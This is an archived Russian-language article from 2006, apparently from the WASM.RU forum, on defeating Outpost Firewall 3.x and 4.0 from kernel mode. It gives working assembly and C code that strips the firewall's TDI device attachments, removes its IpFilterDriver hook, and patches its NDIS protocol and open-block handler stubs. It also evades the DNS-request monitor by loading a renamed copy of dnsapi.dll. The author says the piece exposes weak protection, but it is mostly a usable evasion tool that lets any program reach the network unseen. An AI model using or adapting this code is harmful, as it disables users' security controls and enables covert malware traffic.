Обход Outpost Firewall 3.x и 4.0 в Kernel mode

Дата публикации 2 авг 2006

Обход Outpost Firewall 3.x и 4.0 в Kernel mode — Архив WASM.RU

Я приведу описание обхода самого распространенного и используемого брандмауэра - Outpost Firewall. Он имеет достаточно гибкие настройки, защиту от внедрения кода (Inject), контроль компонентов, поэтому его обход в ring-3 представляет некоторые сложности: Inject все-таки возможен, но требует написания базонезависимого кода для работы с сетью, и прочий геморрой ;) Я предлагаю переместиться на уровень ниже, в ring-0, где возможно все :smile3: Будут рассмотрены версии 3.x и 4.0. Я затрону только тему обхода Outpost для беспрепятственной работы с сетью, ничего насчет других фич Outpost'а здесь сказано не будет. Предупреждение: приведенный ниже код разрабатывался и тестировался для Windows XP, на остальных версиях не заработает (см. NDIS_PROTOCOL_BLOCK для каждой ОС).

Outpost Firewall, имеет четыре типа защиты на разных уровнях, в ядре:

  1. Перехват на уровне TDI. Перехват обращений к устройствам: \Device\Ip, \Device\RawIp, \Device\Tcp и \Device\Udp посредством создания и присоединения своего устройства с целью принимать и фильтровать поступающие вызовы к этим устройствам от приложений.
  2. Перехват на уровне IpFilterDriver. Это документированная возможность Windows XP+, предоставляющая услуги фильтрации пакетов в ядре (т.е. не нужно заморачиваться с установкой перехвата на NDIS и TDI).
  3. Перехват на уровне NDIS.
    • Перехват функций создания/удаления NDIS-протоколов: NdisRegisterProtocol, NdisDeregisterProtocol
    • Перехват функций открытия/закрытия адаптера: NdisOpenAdapter, NdisCloseAdapter
    Достигается за счет правки таблицы экспорта модуля NDIS.SYS и установки своих обработчиков, при вызове которых осуществляется фильтрация.
  4. Перехват обращения к DNSAPI (только в версии 4.0)

Самым сложным в снятии перехвата является перехват на NDIS-уровне. Рассмотрим по порядку:

1) Снятие перехвата на уровне TDI не составит труда тому, кто знаком с объектной архитектурой ядра и умеет успешно манипулировать объектами. Перехват обращений к устройствам \Device\Ip, \Device\RawIp, \Device\Tcp и \Device\Udp достигается путем создания фиктивного устройства, а затем присоединение его к стеку устройств вызовом IoAttachDevice. При обращении ring3 приложения к сервису TDI, происходит построение IRP-пакета и поочередный вызов по стеку. Первым вызывается сервис Outpost'а, потом остальные. Наша задача проста - исключить устройство фаервола из связного списка устройств стека. Но зная то, что изначально никаких устройств не должно быть присоединено к Ip, Tcp, Udp, RawIp, мы получим указатель на структуру DEVICE_OBJECT устройства и просто обнулим поле AttachedDevice, тем самым уберем все фильтры на TDI. Все! Теперь IRP-пакеты будут идти прямиком к драйверу Tcpip.sys и никуда более. Как это реализуется:

Код (Text):
  1.  
  2.     LOCAL   TcpipDrvObj     :PDRIVER_OBJECT
  3.    
  4.     ...
  5.  
  6.     invoke  ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING("\\Driver\\Tcpip"), OBJ_CASE_INSENSITIVE, NULL, 0, \
  7.                 IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj
  8.     test    eax, eax
  9.     jnz @ret
  10.    
  11.     mov eax, TcpipDrvObj
  12.     mov ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject
  13.    
  14.     assume  ebx : ptr DEVICE_OBJECT             ; EBX -> текущее устройство
  15.    
  16.     ; Перечисляем все устройства драйвера Tcpip.sys:
  17.     ; \Device\Ip, \Device\RawIp, \Device\Tcp, \Device\Udp, \Device\IPMULTICAST
  18.    
  19. @enum_devices:
  20.     and [ebx].AttachedDevice, 0             ; Перехват снят
  21.    
  22.     mov ebx, [ebx].NextDevice
  23.     test    ebx, ebx
  24.     jnz @enum_devices
  25.  
  26.     assume  ebx : nothing
  27.    
  28.     invoke  ObDereferenceObject, TcpipDrvObj

Outpost никак не проверяет отсутствие его устройства в стеке, поэтому анти-перехват сработал. Таким же образом можно убрать перехват почти любых TDI-Firewall'ов (если конечно они постоянно не проверяют наличие своего устройства в стеке, иначе это будет чуть сложнее).

2) IpFilterDriver является драйвером, который используется встроенным фаерволом Windows. Этот сервис предоставляет возможность просмотра пакетов и их фильтрацию в ядре. Что происходит при инициализации фильтрации с помощью IpFilterDriver в FILTNT.SYS:

a) Загружается драйвер ipfltdrv.sys:

Код (Text):
  1.  
  2.     UNICODE_STRING RegPath;
  3.    
  4.     RtlInitUnicodeString(&RegPath, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver");
  5.     ZwLoadDriver(&RegPath);

b) Получаем указатель на устройство \Device\Ipfilterdriver:

Код (Text):
  1.  
  2.     PFILE_OBJECT IpFilterFileObj;
  3.     PDEVICE_OBJECT IpFilterDevObj;
  4.     UNICODE_STRING DevPath;
  5.    
  6.     RtlInitUnicodeString(&DevPath, L"\\Device\\IPFILTERDRIVER");
  7.     IoGetDeviceObjectPointer(&DevPath, STANDARD_RIGHTS_ALL, &IpFilterFileObj, &IpFilterDevObj);

c) Создается IRP пакет, который передается драйверу:

Код (Text):
  1.  
  2.     PIRP pIrp;
  3.     DWORD InBuff = (DWORD)&FilterProc;
  4.  
  5.     pIrp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER, IpFilterDevObj, &InBuff, 4, 0, 0, 0, 0, 0);
  6.     IoCallDriver(IpFilterDevObj, pIrp);

Где FilterProc - callback функция, вызывающаяся при приеме/передаче пакетов, и позволяющая пропустить или дропнуть пакет. В DDK сказано, что если передать вместо указателя на функцию NULL, то обработчик удаляется. Outpost также никак не следит за сохранностью своего обработчика, и мы можем беспрепятственно таким же путем удалить его:

Код (Text):
  1.  
  2.     LOCAL   IpFilterFileObj     :PFILE_OBJECT
  3.     LOCAL   IpFilterDevObj  :PDEVICE_OBJECT
  4.     LOCAL   InBuff          :DWORD
  5.    
  6.     ...
  7.    
  8.     invoke  IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING("\\Device\\Ipfilterdriver"), \
  9.                 GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj
  10.     test    eax, eax
  11.     jnz @ret
  12.    
  13.     and InBuff, 0
  14.    
  15.     invoke  IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0
  16.     test    eax, eax
  17.     jz  @ret
  18.    
  19.     invoke  IoCallDriver, IpFilterDevObj, eax

3) Самая сложная и громоздкая часть - это снятие перехвата со всех зарегистрированных NDIS-протоколов в системе (структура NDIS_PROTOCOL_BLOCK), а также их открытых блоков (структура NDIS_OPEN_BLOCK). Структура NDIS_OPEN_BLOCK определена в ndis.h из DDK, но NDIS_PROTOCOL_BLOCK нет. Покопавшись в различных источниках, а также взглянув на эту структуру через отладчик, не трудно догадаться что она скрывает ;) Замечу, что эта структура различна в разных версиях Windows. В системе существует связный список NDIS-протоколов, представляемых структурой NDIS_PROTOCOL_BLOCK, которые экспортируют свои функции-обработчики, которые вызываются при каких-то событиях: например при связывании адаптера и протокола, при принятии и удалении пакета и т.д. Существует неэкспортируемая переменная модуля NDIS.SYS ndisProtocolList, которая указывает на последний зарегистрированный протокол (и первый в списке). Искать ее не имеет смысла, когда существует чуть более громоздкое, но переносимое между версиями ОС решение: мы зарегистрируем пустой протокол, только для того чтобы получить указатель на следующий протокол в цепочке и сразу его удалим. Полученный после регистрации протокола NDIS_HANDLE будет указателем на нашу созданную структуру NDIS_PROTOCOL_BLOCK:

Код (Text):
  1.  
  2.     LOCAL   NdisProto           :NDIS_PROTOCOL_CHARACTERISTICS
  3.     LOCAL   NdisStatus          :NDIS_STATUS
  4.     LOCAL   NdisProtoHandle     :NDIS_HANDLE
  5.    
  6.     ...
  7.    
  8.     lea edi, NdisProto
  9.     mov ecx, sizeof NdisProto
  10.     xor eax, eax
  11.     rep stosb
  12.    
  13.     mov NdisProto.MajorNdisVersion,     4
  14.     mov NdisProto.BindAdapterHandler,   BindAdapterStub
  15.     mov NdisProto.UnbindAdapterHandler, UnbindAdapterStub
  16.  
  17.     ; Регистрируем NDIS-протокол для того чтобы получить указатель
  18.     ; на связный список протоколов
  19.  
  20.     invoke  NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto
  21.     cmp NdisStatus, NDIS_STATUS_SUCCESS
  22.     jnz @ret
  23.    
  24.     mov ebx, NdisProtoHandle        ; EBX -> текущий протокол
  25.     assume  ebx : ptr NDIS_PROTOCOL_BLOCK
  26.     mov ebx, [ebx].Next             ; Скорее всего указывает на протокол TCPIP_WANARP
  27.    
  28.     invoke  NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandle

Когда система девственно чиста, почти всегда присутствует такой набор протоколов: NDISUIO, TCPIP_WANARP, TCPIP, NDPROXY, PSCHED, RASPPPOE, NDISWAN каждый из них выполняет различные задачи. Например, Outpost создает свой протокол, чтобы вклиниться в список: (VFILT). Еще пример: снифер CommView создает протоколы: TSCOMM и CV2K1. Чтобы поглубже познакомиться с недрами NDIS, используйте программу NdisMonitor. После регистрации/удаления протокола мы имеем указатель на первый протокол в списке (если не запущен снифер, или др. программы, работающие на уровне NDIS, это будет протокол TCPIP_WANARP). Структура NDIS_PROTOCOL_BLOCK содержит указатели на обработчики протокола, которые Outpost перехватывает. Чтобы была возможность поддержки переменного количества протоколов, перехват ставится следующим образом:

– Выделяется память

– Записываются некоторые данные, характеризующие протокол. Формируется команда call (опкод 0E8h) на обработчик внутри FILTNT.SYS, который содержит следующие инструкции:

Outpost 3.x:

Код (Text):
  1.  
  2.     pop    eax
  3.     push   [eax]        ; Настоящий обработчик
  4.     pushad
  5.     push   [eax+4]
  6.     push   [esp+28h]
  7.     jmp    [eax+8]

Outpost 4.0:

Код (Text):
  1.  
  2.     pop    eax
  3.     add    eax, 3
  4.     push   [eax]        ; Настоящий обработчик
  5.     pushad
  6.     push   [eax+4]
  7.     push   [esp+28h]
  8.     jmp    [eax+8]

– Вместо настоящего обработчика устанавливается адрес выделенной памяти

В ходе исследования выяснилось, что адрес реального перехваченного обработчика находится в выделенной памяти по смещению +8 (Outpost 4.0) или +5 (Outpost 3.x). Отличить версию 4.0 от 3.x достаточно просто, по инструкции add eax, 3. В каждом протоколе Outpost перехватывает следующие функции:

Код (Text):
  1.  
  2.   OpenAdapterCompleteHandler
  3.   SendCompleteHandler
  4.   TransferDataCompleteHandler
  5.   RequestCompleteHandler
  6.   ReceiveHandler
  7.   StatusHandler
  8.   ReceivePacketHandler
  9.   BindAdapterHandler
  10.   UnbindAdapterHandler

В структуре NDIS_OPEN_BLOCK содержатся указатели на обработчики конкретного адаптера, связанного с протоколом. С каждым протоколом может быть связано несколько адаптеров, открытые блоки которых объединяются в связный список. Указатель на первую структуру NDIS_OPEN_BLOCK содержится в NDIS_PROTOCOL_BLOCK.OpenBlock. Структура NDIS_OPEN_BLOCK создается при вызове NdisOpenAdapter, поэтому Outpost перехватывает эту функцию. В NDIS_OPEN_BLOCK перехватываются следующие обработчики:

Outpost 3.x:

Код (Text):
  1.  
  2.   SendHandler
  3.   TransferDataHandler
  4.   SendCompleteHandler
  5.   TransferDataCompleteHandler
  6.   ReceiveHandler
  7.   RequestCompleteHandler
  8.   ReceivePacketHandler
  9.   SendPacketsHandler
  10.   StatusHandler

Outpost 4.0:

Код (Text):
  1.  
  2.   SendCompleteHandler
  3.   TransferDataCompleteHandler
  4.   ReceiveHandler
  5.   ReceivePacketHandler
  6.   StatusHandler

Наверное разработчики поняли, что переборщили в 3.х с таким количеством перехватываемых обработчиков, когда достаточно перехватывать всего 5 штук. Теперь цель понятна: обойти все протоколы, в каждом протоколе снять перехват; в каждом протоколе обойти все открытые блоки и тоже снять перехват. Но не все так просто, как было с TDI и IpFilterDriver. Мы не можем просто так заменить обработчики фаера на свои, потому что тот создает поток, который время от времени проходится по всем протоколам и открытым блокам и восстановит перехват. И если Outpost 3.x, обходя список протоколов, натыкался на неперехваченный обработчик (или обработчик, с которого сняли перехват), он тупо брал адрес из структуры и опять ставил перехват, что в свое время обернулось для меня проблемой, то Outpost 4.0 хранит обработчики для каждого протокола, и правильно восстанавливает перехват. Браво! :P Ну а если не трогать указатель на обработчик, и вместо call'а на обработчик Outpost'а, поставить jmp сразу на реальный обработчик, то все будет работать как надо. Outpost не делает проверку на то, изменился ли его перехват. Для снятия перехвата с конкретного обработчика я написал функцию:

RemoveNdisProcHook proc Handler :PVOID

Код (Text):
  1.  
  2.     mov ecx, Handler
  3.     jecxz   @ret
  4.    
  5.     cmp byte ptr [ecx], 0E8h            ; В начале должен стоять call
  6.     jnz @ret
  7.    
  8.     mov edx, [ecx+1]                ; Смещение call'а
  9.     lea edx, [ecx+edx+5]            ; EDX указывает на то, куда идет вызов call'а
  10.    
  11.     .if dword ptr [edx] == 03C08358h        ; В начале стоит: pop eax / add eax, 3 - это Outpost 4.0  
  12.    
  13.         mov edx, [ecx+8]
  14.        
  15.     .elseif dword ptr [edx] == 6030FF58h    ; В начале стоит: pop eax / push [eax] / pushad - это Outpost 3.x
  16.        
  17.         mov edx, [ecx+5]
  18.     .else
  19.    
  20.         jmp @ret
  21.     .endif
  22.    
  23.     ; В EDX адрес реального обработчика
  24.    
  25.     mov byte ptr [ecx], 0E9h            ; Превратим call в jmp
  26.     sub edx, ecx
  27.     sub edx, 5
  28.     mov [ecx+1], edx                ; Теперь вместо передачи управления фаеру,
  29.                                     ; будет jmp сразу на реальный обработчик
  30.    
  31. @ret:
  32.     ret
  33.  
  34. RemoveNdisProcHook endp

Ну, и, наконец, последнее действо:

Код (Text):
  1.  
  2.     assume  ebx : ptr NDIS_PROTOCOL_BLOCK
  3.    
  4.     ...
  5.  
  6.     ; Перечисляем все зарегистрированные NDIS-протоколы
  7.    
  8. @enum_protocols:
  9.  
  10.     ; Удаляем перехват обработчиков NDIS-протокола
  11.    
  12.     invoke  RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler
  13.     invoke  RemoveNdisProcHook, [ebx].SendCompleteHandler
  14.     invoke  RemoveNdisProcHook, [ebx].TransferDataCompleteHandler
  15.     invoke  RemoveNdisProcHook, [ebx].RequestCompleteHandler
  16.     invoke  RemoveNdisProcHook, [ebx].ReceiveHandler
  17.     invoke  RemoveNdisProcHook, [ebx].StatusHandler
  18.     invoke  RemoveNdisProcHook, [ebx].ReceivePacketHandler
  19.     invoke  RemoveNdisProcHook, [ebx].BindAdapterHandler
  20.     invoke  RemoveNdisProcHook, [ebx].UnbindAdapterHandler
  21.    
  22.    
  23.     mov esi, [ebx].OpenBlock                ; ESI -> текущий открытый блок
  24.     test    esi, esi
  25.     jz  @next
  26.    
  27.     assume  esi : ptr NDIS_OPEN_BLOCK
  28.    
  29.     ; Перечисляем все открытые блоки этого протокола
  30.    
  31.     @enum_open_blocks:
  32.    
  33.         ; Удаляем перехват обработчиков открытого блока
  34.        
  35.         invoke  RemoveNdisProcHook, [esi].SendHandler
  36.         invoke  RemoveNdisProcHook, [esi].TransferDataHandler
  37.         invoke  RemoveNdisProcHook, [esi].SendCompleteHandler
  38.         invoke  RemoveNdisProcHook, [esi].TransferDataCompleteHandler
  39.         invoke  RemoveNdisProcHook, [esi].ReceiveHandler
  40.         invoke  RemoveNdisProcHook, [esi].RequestCompleteHandler
  41.         invoke  RemoveNdisProcHook, [esi].ReceivePacketHandler
  42.         invoke  RemoveNdisProcHook, [esi].SendPacketsHandler
  43.         invoke  RemoveNdisProcHook, [esi].StatusHandler
  44.    
  45.    
  46.         mov esi, [esi].ProtocolNextOpen
  47.         test    esi, esi
  48.         jnz @enum_open_blocks
  49.        
  50.     assume esi : nothing
  51.  
  52. @next:
  53.     mov ebx, [ebx].Next
  54.     test    ebx, ebx
  55.     jnz @enum_protocols
  56.    
  57.     assume  ebx : nothing

4) Три главных метода фильтрации Outpost'а сняты. Для версий 3.x этого достаточно, но в Outpost версии 4.0 добавилась возможность перехватывать DNS-запросы приложений. Вернее даже не сами запросы - разработчикам ничего умнее в голову не пришло, кроме как отлавливать загрузку модуля DNSAPI.DLL. Это юзермодная DLL, которая выполняет функции преобразования имя->адрес (и наоборот), запроса MX-серверов и много чего другого. Вызов gethostbyname() влечет за собой загрузку этой библиотеки, и появляется окно фаера, в котором "Приложение пытается выполнить DNS-запрос". Чтобы обойти эту фичу, не нужно даже кода ядра. Но придется отказаться от функций gethostbyname(), gethostbyaddr() и других: нужно скопировать библиотеку system32\dnsapi.dll куда-нибудь, под другим именем (в этом суть), загрузить ее, получить указатель на функцию DnsQuery_A и произвести DNS-запрос. Outpost никак на это не отреагирует, т.к. он проверяет только имя загружаемого модуля. Логичнее было бы пресекать обращения приложений на 53 порт, а не только ставить хук на загрузку DNSAPI.DLL. Конечно, можно все свалить на бета-версию, но такой неправильный путь "защиты" выбран изначально, и я уверен что эта т.н. "защита" использовалась бы и дальше. Вот как я реализовал "gethostbyname()":

Код (Text):
  1.  
  2.     typedef DNS_STATUS (WINAPI *DNS_QUERY)(
  3.       PCSTR lpstrName,
  4.       WORD wType,
  5.       DWORD fOptions,
  6.       PIP4_ARRAY aipServers,
  7.       PDNS_RECORD* ppQueryResultsSet,
  8.       PVOID* pReserved
  9.     );
  10.  
  11.  
  12.     typedef void (WINAPI *DNS_RECORD_LIST_FREE)(
  13.       PDNS_RECORD pRecordList,
  14.       DNS_FREE_TYPE FreeType
  15.     );
  16.  
  17.     ...
  18.  
  19.     char buf[256], buf2[256];
  20.     PDNS_RECORD         pRec;
  21.     DNS_QUERY           pDnsQuery;
  22.     DNS_RECORD_LIST_FREE    pDnsRecordListFree;
  23.     HINSTANCE               hLib;
  24.    
  25.  
  26.     GetTempPath(sizeof(buf), buf);
  27.     strcat(buf, "xxxxx.dll");
  28.  
  29.     GetSystemDirectory(buf2, sizeof(buf2));
  30.     strcat(buf2, "\\dnsapi.dll");
  31.  
  32.     CopyFile(buf2, buf, FALSE);
  33.  
  34.     if ((hLib = LoadLibrary(buf)) &&
  35.         (pDnsQuery = (DNS_QUERY)GetProcAddress(hLib, "DnsQuery_A")) &&
  36.         (pDnsRecordListFree = (DNS_RECORD_LIST_FREE)GetProcAddress(hLib, "DnsRecordListFree")))
  37.     {
  38.         if (!pDnsQuery("wasm.ru", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &pRec, NULL))
  39.         {
  40.             sprintf(buf, "WASM.RU IP Address: %s", inet_ntoa(*(in_addr*)&pRec->Data.A.IpAddress));
  41.             MessageBox(0, buf, "Outpost DnsDetour", MB_ICONINFORMATION);
  42.  
  43.             pDnsRecordListFree(pRec, DnsFreeRecordList);
  44.         }
  45.         else
  46.             MessageBox(0, "Can't get WASM.RU IP Address!", "Outpost DnsDetour", MB_ICONINFORMATION);
  47.  
  48.         FreeLibrary(hLib);
  49.     }
  50.  
  51.     DeleteFile(buf);

Все виды перехвата, используемые Outpost'ом, сняты. Теперь любое приложение, может беспрепятственно работать с сетью. Даже при настройке Outpost'а "Блокировать все соединения".

Моей задачей не было создать универсальное средство для обхода любого рода Firewall'ов (иначе бы начался хаос :P), моей задачей было показать несостоятельность защиты Outpost'а против достаточно простого кода ядра (а также, как оказалось, кривые способы защиты от DNS-ресолвинга в новенькой бета-версии). При создании подключения, Outpost 4.0 в логе будет фиксировать "Неопределенное правило", т.к. сам перехват снят, а список открытых портов и подключений остался. В версиях же 3.x подключение не будет видно вообще. Ну и идеальным решением было бы не простое снятие перехвата, а создание "надстройки" над Firewall'ом, которая бы давала возможность выходить в сеть определенным приложениям, а в другом случае передавала бразды правления Outpost'у + скрытие определенных открытых портов и соединений.

Стоит сказать пару слов о том, что перед снятием хуков, неплохо бы запретить прерывания, APC, DPC, чтобы операция по снятию хуков была неразрывна. В архиве вы найдете исходник и откомпилированный драйвер, а также пример определения IP по имени в обход Outpost 4.0. © MaD


1 2.377
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532